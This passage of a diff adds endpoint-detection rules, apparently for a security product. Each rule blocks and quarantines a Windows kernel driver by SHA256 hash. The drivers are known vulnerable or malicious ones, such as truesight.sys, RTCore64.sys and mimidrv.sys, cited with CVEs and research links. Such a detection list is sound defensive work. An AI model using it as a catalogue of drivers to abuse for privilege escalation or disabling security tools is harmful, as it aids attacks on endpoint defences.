+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824636Z",
+  "creation_date": "2026-03-23T11:45:30.824639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824646Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fac6ae01d22d719a4f0cc2b9c761c1a81009ce9ebe7e47b96c8ebf32b810d219",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83785a38-cded-55b0-8bc5-3a6304e50edb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500628Z",
+  "creation_date": "2026-03-23T11:45:31.500631Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500640Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77b849bca8645b152d5f432dfa504d3ea82f6512bdcdaa2db4db0ecbba55da85",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "837d341b-8f99-5ce8-b3fd-cafc1ac3cb24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622845Z",
+  "creation_date": "2026-03-23T11:45:29.622847Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622852Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a8492a553ee840235fd12fa47b6caf1e5a8c82c3f4b681921246d7f192ed9126",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8383dda2-a77c-51b0-9a4e-2cf40e70d555",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145695Z",
+  "creation_date": "2026-03-23T11:45:31.145697Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145702Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28eb2875b5190910d71d53955f348b9a2b2b713cea5d873b619fcdcad6c5b5d4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83969ff2-f4a7-5ae5-993b-99905f623882",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607434Z",
+  "creation_date": "2026-03-23T11:45:29.607436Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607442Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0466dac557ee161503f5dfbd3549f81ec760c3d6c7c4363a21a03e7a3f66aca8",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8398fe1b-53c4-5b3e-81cd-ce567fd37f28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975786Z",
+  "creation_date": "2026-03-23T11:45:29.975788Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975794Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98636f857235fb66122296db147cd29440de681a29bbd631fc94373da31f99fa",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83a108ea-13c6-58cd-a303-b27fbcaec527",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832747Z",
+  "creation_date": "2026-03-23T11:45:30.832749Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832754Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7862001824edd94941d6ee2be998c9debf2d50e06b93f0abe54241c6b4a1d51f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83b1e3c4-f372-5fdd-837c-1b6c7ca15ce2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978703Z",
+  "creation_date": "2026-03-23T11:45:29.978705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978710Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f596e64f4c5d7c37a00493728d8756b243cfdc11e3372d6d6dfeffc13c9ab960",
+  "comment": "Vulnerable Kernel Driver (aka PanIO.sys) [https://www.loldrivers.io/drivers/5f70bde4-9f81-44a8-9d3e-c6c7cf65bfae/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83b9ac6d-cf98-515e-82f2-7d421574deaf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150634Z",
+  "creation_date": "2026-03-23T11:45:31.150636Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f77034fb1a3d4a0d4cf23acf0753f0fb0349b82ec4be40290cb3f43e53352e2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83c4f723-f120-5000-b16c-77721fc6d51e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468746Z",
+  "creation_date": "2026-03-23T11:45:30.468749Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468757Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "002616bfe5bf3b13868d649d74ffe748317e3b0b33de8b9008683c906a0cae83",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83d6c271-341d-5da8-a775-7e5ab597d583",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470072Z",
+  "creation_date": "2026-03-23T11:45:30.470075Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ab6430b72807637cc173f174301d8411bc17ec2cb542e739d28f77eb9d47327",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83f25173-0739-51f5-8a45-47a36fdcec6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608120Z",
+  "creation_date": "2026-03-23T11:45:29.608122Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608128Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a9b51770ba69c73db8fc81d50017e7ccf59dd05d3024d4c9f8ce03076ca8a7b",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83f331b2-0899-5e23-a540-7e2d208bd1b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146746Z",
+  "creation_date": "2026-03-23T11:45:32.146748Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cba6ac0031f6ee2ea4bf8ffc7a1cffff7c4448431584f54b9a0fbec799e2466f",
+  "comment": "Vulnerable Kernel Driver (aka ACPIx86.sys) [https://www.loldrivers.io/drivers/fd6c52b1-aeaa-4d89-8051-91acc68c3270/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83fbe314-ca7a-5144-a437-b029442f0342",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830000Z",
+  "creation_date": "2026-03-23T11:45:30.830002Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f281d9a254dee1e0a809cb71fa9355aadfc73d4777831da676e1a0d5ce9d983c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83fe7233-0463-59c7-87a1-aadd5c7097f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822782Z",
+  "creation_date": "2026-03-23T11:45:30.822784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822789Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4f90ded38e11860497b9d0290bcf93a6bcb48e836b334010894a2de865b148c",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8402f38a-1832-5284-b84b-2a4efd94e8af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469233Z",
+  "creation_date": "2026-03-23T11:45:30.469237Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469246Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40c740c6820ddc8f01013e7354278166c090cfe5e4027be1b187cf8cbd8a6b3f",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "840383ca-477d-5119-952a-c07eba4022aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609997Z",
+  "creation_date": "2026-03-23T11:45:29.609999Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610004Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00dfeab446afecac7b44b0b1680d5ca7d421eda243e16db8c08706bb593a8391",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84051940-b341-5d3d-b654-89f40954433c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818574Z",
+  "creation_date": "2026-03-23T11:45:31.818577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ba36fd2f7ee03f735164bd08a6c98621e5f9a17b63cd1ad37cad050e2a4bf80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84093ef4-c64c-57a0-9134-bbae6673e9ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815437Z",
+  "creation_date": "2026-03-23T11:45:31.815439Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815445Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa38a29b4dcda0a241b94c94e0b3ce9c06c344ffe59f718d4f30671a17d22123",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "840d31fa-24d9-5d52-ba97-29264b6b263d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984070Z",
+  "creation_date": "2026-03-23T11:45:29.984072Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984077Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7877c1b0e7429453b750218ca491c2825dae684ad9616642eff7b41715c70aca",
+  "comment": "Vulnerable Kernel Driver (aka VProEventMonitor.sys) [https://www.loldrivers.io/drivers/4db827b1-325b-444d-9f23-171285a4d12f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8411267b-dd5f-5a32-844d-15a4f8ec3a5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495689Z",
+  "creation_date": "2026-03-23T11:45:31.495691Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495696Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2fec89ba7ffb18f394f1387413b7ae2165480821b565f0fdd9719c8a90c8e072",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "84294827-86dd-5e91-8dcc-5191dd6e4a78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497488Z",
+  "creation_date": "2026-03-23T11:45:31.497491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c362c7738a6d9a3dd6329bce987ac36874574384b275c3fcf3e27cf65dfb65ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "843673fd-4586-5c5b-8bdf-9bc5117493f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809850Z",
+  "creation_date": "2026-03-23T11:45:31.809852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
